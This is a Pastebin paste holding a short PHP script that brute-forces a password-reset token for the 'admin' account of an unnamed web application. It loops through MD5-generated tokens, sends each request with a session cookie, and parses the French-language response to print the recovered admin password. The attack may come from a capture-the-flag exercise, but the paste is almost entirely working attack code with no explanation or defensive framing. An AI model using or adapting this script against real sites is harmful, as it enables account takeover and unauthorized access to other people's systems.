Advertisement
Guest User

Untitled

a guest
Aug 8th, 2017
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.88 KB | None | 0 0
  1. <?php
  2.  
  3. for ($x = 1; $x <= 100; $x++) {
  4.         $request = 'http://<url here>/?p=forgot_dev&username=admin&token=';
  5.         $salt = microtime();
  6.         $generated_token = MD5('$salt' . $x);
  7.         $request .= $generated_token;
  8.  
  9.         $ch = curl_init($request);
  10.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  11.         curl_setopt($ch, CURLOPT_HEADER, 0);
  12.         curl_setopt($ch, CURLOPT_HTTPHEADER, array("Cookie: PHPSESSID=..."));
  13.         $out = curl_exec($ch);
  14.         $test = strpos($out, "Votre mot de passe est : ");
  15.         if ($test == true){
  16.                 echo "\n\nFOUND YA!\n";
  17.                 $findings = explode("Votre mot de passe est : ", $out);
  18.                 echo "Your pass: " . explode("</span>", $findings[1])[0];
  19.                 echo "\n";
  20.                 exit();
  21.         }else{
  22.                 echo $generated_token . "\r";
  23.         }
  24. }
  25.  
  26.  
  27. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement